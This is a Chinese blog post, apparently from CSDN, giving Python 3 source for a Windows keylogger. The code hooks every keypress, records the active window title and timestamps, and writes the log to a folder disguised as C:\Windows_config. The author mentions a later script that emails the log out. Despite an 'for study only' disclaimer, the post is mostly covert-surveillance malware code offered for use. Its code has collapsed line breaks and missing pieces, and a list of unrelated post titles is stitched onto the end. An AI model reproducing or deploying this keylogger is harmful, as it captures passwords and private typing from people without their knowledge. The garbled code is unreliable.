关于Python3——键盘记录

  • 关于Python3——键盘记录
    • 环境:windows
    • 所需库:
    • 函数划分

关于Python3——键盘记录

该方法仅为学习使用,切勿用于非法用途

用python做一个键盘记录器,记录我么们敲击键盘得事件,当你有需要他的时候你可以运行这个脚本,来获取你想要得信息(注:个人练习,不喜勿喷)本次学习是将文件统一放在了C盘下,是为了方便我可以在这个脚本结束后,去调用发送邮件得脚本,邮件脚本会在下一篇博客发布注:本人小白一名,代码中如有错误,请多多指点该方法仅为学习使用,切勿用于非法用途

环境:windows

所需库:

  • keyboard
  • ctypes
  • os

函数划分

  • get_current_window # 获取窗口标题
  • write_key # 核心代码,获取按键信息,并保存到文本文件
  • prepare # 出发按键函数

话不多说,看代码,大部分注释在代码中


(1)get_current_window()

    def get_current_window(self):GetForegroundWindow = user32.GetForegroundWindow  # 获取前端显示窗口GetWindowTextLength = user32.GetWindowTextLengthW  # 获取敞口信息长度GetWindowText = user32.GetWindowTextW  # 获取敞口文本信息hwnd = GetForegroundWindow()  # 获取前台窗口的句柄length = GetWindowTextLength(hwnd)  # 获取标题栏中窗口文本的长度buff = ctypes.create_unicode_buffer(length + 1)  # 创建缓冲区来存储窗口标题字符串GetWindowText(hwnd, buff, length + 1)return buff.value

(2)write_key()

    def write_key(self,key):key_info = []key_list = []global prev_windowfilename = 'keyboard.txt' # 存储得文件名,可以根据自己需求更改window = self.get_current_window() # 获取函数返回的信息# Windows_config,可以自定义if os.path.exists('C:\Windows_config\\') == False: # 判断c盘下有没有Windows_config这个文件os.makedirs('C:\Windows_config\\')if window == prev_window:key_info.append(str(key.name) + " | " + " | " + str(round(key.time)))key_list.append(str(key.name))content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(self.get_timestamp()) + "\nWindow - " + str(self.get_current_window()) + "\nKeys - \n" + str("".join(key_info)) + "\n" + "\n"with open(r"C:\Windows_config\\" + str(filename), "a", encoding='utf-8') as f:f.write(content)returnkey_info.append(str(key.name) + " | " + " | " + str(round(key.time)))key_list.append(str(key.name))content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(self.get_timestamp()) + "\nWindow - " + str(self.get_current_window()) + "\nKeys - \n" + str("".join(key_info)) + "\n" + "\n"with open(r"C:\Windows_config\\" + str(filename), "a",encoding='utf-8') as f:f.write(content)key_info = []key_list = []prev_window = windowkey_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time)))  # 更新列表与新的关键字,扫描代码和时间戳key_list.append(str(key.name))  # 用键名更新列表

(3)prepare()

    def prepare(self):global prev_windowprev_window = str()keyboard.on_press(self.write_key)  # 当按下一个键时,调用write_key函数keyboard.wait()  # 这将防止脚本结束,并允许前面的命令继续运行.

最后你可以试着运行下,比如:

if __name__ == '__main__':a = Keyboard_Windows()a.prepare()# 调用prepare函数来设置键盘记录器

今天得分享就到这里了,如有错误或逻辑错误得地方请大佬们多多指点

Python实现一个键盘记录器功能相关推荐

  1. python编写登录_通过Python编写一个简单登录功能过程解析

    通过Python编写一个简单登录功能过程解析 需求: 写一个登录的程序, 1.最多登陆失败3次 2.登录成功,提示欢迎xx登录,今天的日期是xxx,程序结束 3.要检验输入是否为空,账号和密码不能为空 ...

  2. python 三种键盘记录器 based on pyhook,pynput,pygame

    在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...

  3. 手把手教你用SetWindowsHookEx做一个键盘记录器

    "无忌,我教你的还记得多少?" "回太师傅,我只记得一大半." "那,现在呢?" "已经剩下一小半了." "那 ...

  4. Pyrthon写一个键盘记录器

    目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中. 提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器.简单地读取用户按下的键,并在 ...

  5. windows应用程序的开发一个键盘记录器

    一 .创建一个C工程,添加一个CPP文件 名字随便起 #include <Windows.h>extern "C" __declspec(dllimport) BOOL ...

  6. 用 C# 做一个键盘记录器

    某天写代码时突发奇想想知道自己用那个键用的最多,于是在网上搜了一通键盘记录软件,没找到一个满意的,于是决定自己写一个出来 ps:第一次用 C# 写 Windows 程序,可能很多地方不够规范 先撸一个 ...

  7. python 实现的键盘记录器 小功能

    目录 一.安装pynput模块 二.编写代码 1.引入键盘模块 2.读取键盘操作 3.设置停止记录触发事件 4.启动监听 三.完整代码 一.安装pynput模块 PS C:\WINDOWS\syste ...

  8. 【Python】一个房贷计算器功能的小案例

    题目要求: 房贷计算公式如下: 〉每月月供参考=贷款金额×[月利率×(1+月利率)^还款月数]÷{[(1+月利率)^还款月数]–1}>还款总额=每月月供参考×期限× 12 ≥支付利息=还款总额– ...

  9. 自动化测试(二)如何用python写一个用户登陆功能

    需求信息: 写一个判断登录的程序: 输入: username password 最大错误次数是3次,输入3次都没有登录成功,提示错误次数达到上限 需要判断输入是否为空,什么也不输入,输入一个空格.n个 ...

最新文章

  1. 【LeetCode-面试算法经典-Java实现】【015-3 Sum(三个数的和)】
  2. UIBezierPath路径绘图
  3. 进程间通信——匿名管道
  4. 数据库开篇简介整体常识
  5. 内网和外网的区别_无需服务器,树莓派使用内网穿透进行建站与维护
  6. java8 stringbuilder_为什么 Java 8 中不再需要 StringBuilder 拼接字符串
  7. weblogic 升级bsu_Weblogic补丁升级之坑坑洼洼
  8. 实例55:python
  9. elementui图片上传php,vue+element-ui+富文本————图片上传
  10. aix 的c库为什么都是静态库_Linux静态库生成指南
  11. Firefox 用户加载的半数网页启用了 HTTPS
  12. mengento 数据库模型
  13. oracle10修改时区,ORACLE10g时区配置错误问题
  14. 想找一些外文文献,有哪些靠谱的外文文献网站推荐?
  15. python调用java之jpype参数类型转换
  16. EverEdit: Windows上国人开发的比Notepad++更优秀的高级文本编辑器
  17. Android预置默认输入法
  18. 光纤交换机 序列号_Brocade 光纤交换机常用命令
  19. BIN,S19,M0T,SREC,HEX文件解析;FileParse(二)之源码解析
  20. Intel芯片组大全最新版

热门文章

  1. 这款开源终端工具逼格更高!比 Xshell 好用
  2. Firefox 的用户脚本管理器 greasemonkey 的使用一例
  3. uniapp样式穿透
  4. 2022年牛客多校第三场补题记录
  5. 你是如何变的自律的?
  6. linux卸载beyondcompare,CentOS上运行BeyondCompare
  7. 越千年,是谁负了这情长
  8. 惠普墨盒用错墨水的补救经历
  9. 20220906美的集团笔试
  10. 【编程笔试】美团2021校招笔试-通用编程题第6场(附思路及C++代码)